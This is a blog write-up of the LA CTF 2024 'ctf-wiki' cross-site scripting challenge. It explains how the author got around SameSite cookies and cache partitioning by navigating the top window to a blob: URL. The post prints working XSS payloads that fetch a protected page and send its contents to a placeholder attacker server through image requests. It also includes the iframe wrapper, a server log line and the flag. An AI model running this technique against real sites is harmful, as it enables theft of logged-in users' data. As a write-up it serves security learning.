Wednesday, February 21, 2024

LA CTF write up: ctf-wiki

Last weekend I participated in LA CTF 2024. This is how I solved one of the challenges: "ctf-wiki". It was solved by 38 teams and worth 483 points.

The challenge

The challenge was an XSS problem. You can view it at the LACTF github. We are given a website that you can log into. Once you log in, you can create and edit pages, including adding arbitrary HTML (The description parameter is output unescaped). There is also a /flag page which outputs a flag if you are logged in as the admin. Finally, there is an admin bot that you can give a URL to, which it will visit, while being logged in as the admin. There is a CSP policy, but it specifies img-src * which allows us to exfiltrate data in the file names of images we chose to load.

This is all a pretty standard setup for a CTF XSS challenge.

Normally you would solve a problem like this by injecting a script like this into one of the pages of the site:

<script>
fetch(
  'https://ctf-wiki.chall.lac.tf/flag',
  {method:'post'}
).then( t=>t.text() ).then( a => {
  b=new Image();
  b.src='https://MYWEBSERVERHERE/?flag='+encodeURI( a.substr( 0,50 ) );
} );
</script>

And convince the admin bot to visit the page this script has been injected into. Admin bot visits the page, executes script, loads the /flag endpoint, loads an image from my webserver with the flag in the URL (CSP was blocking cross-site fetch() but not cross-site image loads, so we exfiltrate using an image). I then check my apache access_log file, find the flag, easy-peasy.

However there is a catch.

The Twist

As I said before, there is a twist. You can only view pages on the site if logged out. Logged in users can edit pages but not view them
 
The admin bot is logged into the site as the admin (so it can read /flag). If we send the admin bot to the page with the injected script, it just sees the edit page. It does not execute the script.

We can work around this a few ways. Since SameSite=Lax cookies are being used, we could load the site in an <iframe> from a different domain. SameSite=Lax is a security measure that means cookies are only loaded on top-level GET navigations, but not when a website is loaded as a subresource from a different "site". Another way to force being logged out is to simply add a period to the end of the domain - e.g. http://ctf-wiki.chall.lac.tf./ . An obscure feature of DNS is that it can be configured to automatically add "search domains" at the end of a domain name. Adding a period to the end of the domain name turns off this rarely used feature. The end result is that ctf-wiki.chall.lac.tf. and ctf-wiki.chall.lac.tf are separate domain names that point to the same place. Web browsers consider them to be totally separate websites which have separate cookies.

Thus I can point the admin bot to http://ctf-wiki.chall.lac.tf. (Plain http not https since the certificate won't match), and it will execute the script I insert into the site. Unfortunately there is another problem. The admin bot won't be logged in when fetching http://ctf-wiki.chall.lac.tf./flag, and thus it cannot read the contents of http://ctf-wiki.chall.lac.tf/flag since that would be a cross-domain request, which is prevented by the same origin policy.

This is quite a catch-22. We can either be logged in, able to read the flag but not able to tell the browser to get it, or we can be logged out, be able to tell the browser to fetch but not be able to access the results. We need to be both logged in and logged out at the same time

Popup windows

The natural solution to this problem would be a pop-up window. You could open the page with an injected script in an <iframe>. SameSite=Lax cookies are not sent to cross-site iframes, so we would be logged out in the <iframe> and execute the script. The script could use window.open() to open a pop-up window. Pop-up windows are a top-level GET navigation, so SameSite=Lax cookies will be sent, and we will be logged-in inside the pop-up. Since both the iframe and the pop-up are the same domain, they are allowed to communicate with each other; window.open() returns a window object for the pop-up, which the iframe can use to run scripts in the context of the pop-up window.

There is only one problem - pop-up blockers. Modern browsers only allow pop-up windows if they are the result of a user action. Users have to click something. Scripts cannot create pop-up windows of their own volition.

It turns out that this is not entirely true for the contest.The admin bot had its pop-up blocker disabled, so I could have used pop up windows. However, at the time I simply tested with my local copy of chrome, saw it didn't work, and assumed the adminbot would be the same. An important lesson here: you should always test your assumptions. Nonetheless, lets pretend that wasn't the case, can we solve this problem without using pop-ups?

The challenge on hard mode: no pop-ups

Without pop-ups, we essentially only have <iframe>s and navigating the entire page. There are two browser features that present a challenge here:

  • SameSite=Lax cookies: This is designed so that no cookies are ever sent from requests originating cross-site except for top level GET navigations.
  • Cache partitioning - Browsers are becoming more and more concerned with user tracking. To combat this they have implemented cache partitioning. Essentially, caches are partitioned so that an <iframe> of some domain has a totally separate cache from a top level navigation to that domain. This includes APIs like ServiceWorkers that you might be able to use to control other pages on the same domain. It also includes cookies. The exact details of this varies between browsers.
This was looking pretty hopeless, after all the entire point of cache partitioning was to prevent communication between third-party iframes and their main site. I didn't just want to communicate from a third-party iframe to its originating site, I wanted to control the originating site from the third-party website, which seems much harder then mere communication. If there was a way to communicate, it would break the entire point of the cache partitioning feature.
 
After much googling, I eventually came across the google chrome privacy sandbox docs. It had the following enticing line:

A blob is an object that contains raw data to be processed, and a blob URL can be generated to access the resource. Blob URL stores are not partitioned. To support a use case for navigating in a top-level context to any blob URL (discussion), the blob URL store might be partitioned by the agent cluster instead of the top-level site. This feature is not be available for testing yet, and the partitioning mechanism may change in the future.

 

An exception to cache partioning! That sounds exactly like what I needed.

What is a blob url anyways?

A blob url is kind of like a fancy data: url. They are generally of the form blob:origin/UUID. For example: blob:http://example.com/1c18cbfc-cb5a-4709-9fd4-f50bb96ab7b7. They reference some bytes associated with a specific page, and generally only last so long as the page they are associated with exists. You can use them like data: urls, for example in the src attribute of an <img> tag. Unlike data urls, blob urls don't embed the data within themselves but just reference it with a UUID, which can be helpful for large files. Normally you create them with the URL.createObjectURL() javascript API, which takes a Blob object and outputs a blob url.

The exciting part is:
  • Unlike data: urls, Blob urls have the same origin as the page that creates them.
  • Blob urls are exempt (for the moment at least) from cache partioning and work across third-party contexts.
  • You can use blob urls to do top-level navigation. (data: urls have been banned from script based top level navigation)

Putting this altogether, we can create a blob url from inside an iframe containing HTML of our choosing, navigate the entire page to the blob url with our HTML, which then executes as if it was top level. This means that it can send SameSite cookies as well as being considered in the same cache partition as the main site (unlike the <iframe>). Hence we are logged in, inside this blob: url.

Putting it all together

To pull this off, we'll have two pages on the ctf-wiki, the actual script and an iframe wrapper.

The iframe wrapper simply looks like this. We would visit it from the extra dot url to be logged out:

 <iframe src="https://ctf-wiki.chall.lac.tf/view/4568f3f843562569a487b3ee9fb22dcf"></iframe>

The page it wraps is the interesting one:

<script>
 parent.location = URL.createObjectURL(
    new Blob( [
      "<script>" +
      "fetch('https://ctf-wiki.chall.lac.tf/flag',{method:'post'})" +
        ".then(t=>t.text())" +
        ".then(flag => { " +
            "var img = new Image();" +
            "img.src = 'https://MYWEBSITEHERE/?flag='+encodeURI(flag.substr(0,50))" + 
         "});" +
       "\x3C/script\x3E"
    ], 
    {type: "text/html"}
    )
 )
</script>

This script creates a blob url. The blob url contains an HTML page with a script that fetches the flag and exfiltrates it to my server. It then navigates the parent window (i.e. Not the <iframe> we are inside, but the page containing it) to this blob url. The blob url will then execute in a top level context with the same origin as the <iframe>. It will fetch the flag, and then send that value to my server as an image load request.

So I tried it. It didn't work :(

Looking at the browser console, I had an error saying iframes are not allowed to navigate the top window without the user clicking on something. At first, i thought the approach was dead, but then I remembered that the sandbox attribute for <iframe>s had something related to this.

Normally the sandbox attribute just takes away rights relative to being unspecified; it doesn't add any rights. However, the docs mentioned both a allow-top-navigation and a allow-top-navigation-by-user-activation sandbox keyword. The later being the behaviour I seemed to be getting with no sandbox attribute and the former being the behaviour I wanted. It didn't seem like there would be much point in including allow-top-navigation, if it was never allowed, so I thought I would try it and see what happened. I changed my iframe to be
 
<iframe src="https://ctf-wiki.chall.lac.tf/view/4568f3f843562569a487b3ee9fb22dcf" sandbox="allow-top-navigation allow-scripts allow-same-origin"></iframe>

Then I visited the page with that iframe: http://ctf-wiki.chall.lac.tf./view/ea313ff4550b824368d39e00936ef58d (Note the dot after the tf TLD, to ensure no cookies are sent so we are logged out. We need this page to be on the weird domain in order to prevent cookies to show our XSS. We need the iframe to frame the real domain. It also won't send cookies since it is a cross-domain iframe, but it needs to be the real domain since the blob inherits its origin and we want the blob to be the real domain).

And it worked!

The page with the iframe loaded the second page inside the iframe. That page was cookie-less, but created the blob url with the second stage script. It navigated the top window to the blob script, which was now running at the top level, so all the fetch() requests it makes have the appropriate cookies. It fetched the flag, and then sends the flag to my website as part of the name of a fake "image" file. I can then see the flag in my apache access log.
 
107.178.207.72 - - [18/Feb/2024:04:43:45 +0000] "GET /?flag=lactf%7Bk4NT_k33P_4lL_my_F4v0r1T3_ctF3RS_S4m3_S1t3%7D HTTP/1.1" 200 3754 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/121.0.0.0 Safari/537.36"
 
Thus the flag is: lactf{k4NT_k33P_4lL_my_F4v0r1T3_ctF3RS_S4m3_S1t3}
 

Conclusion

It is indeed possible to pivot from an XSS in an iframe, to an XSS that can read data that is partitioned to the main site, without using a pop-up. Of course the situation of having an XSS when not logged in but no XSS when actually logged in is pretty contrived. I do wonder if there are situations in the real world where using blobs to bypass SameSite cookies is applicable. I find it hard to imagine - an XSS attack is usually powerful enough to make things game over. It would be unusual that you couldn't leverage that directly.
 
The most realistic scenario i could think of where this blob behaviour might be useful, would be to bypass break out of credentialless iframes. Credentialless iframes are used for cross-origin isolated contexts (When you want your website to not be in the same process site of any other website, in order to prevent speculative exectution type attacks) and are not allowed to have references to window objects of pop-ups. Thus the usual attacks with pop-ups cannot be done. However the blob: url method can still work to turn an XSS in a credentialess context to one that can make credentialed requests.

Anyways. It is quite weird that blobs are exempt from cache partitioning. I wonder how long that will last.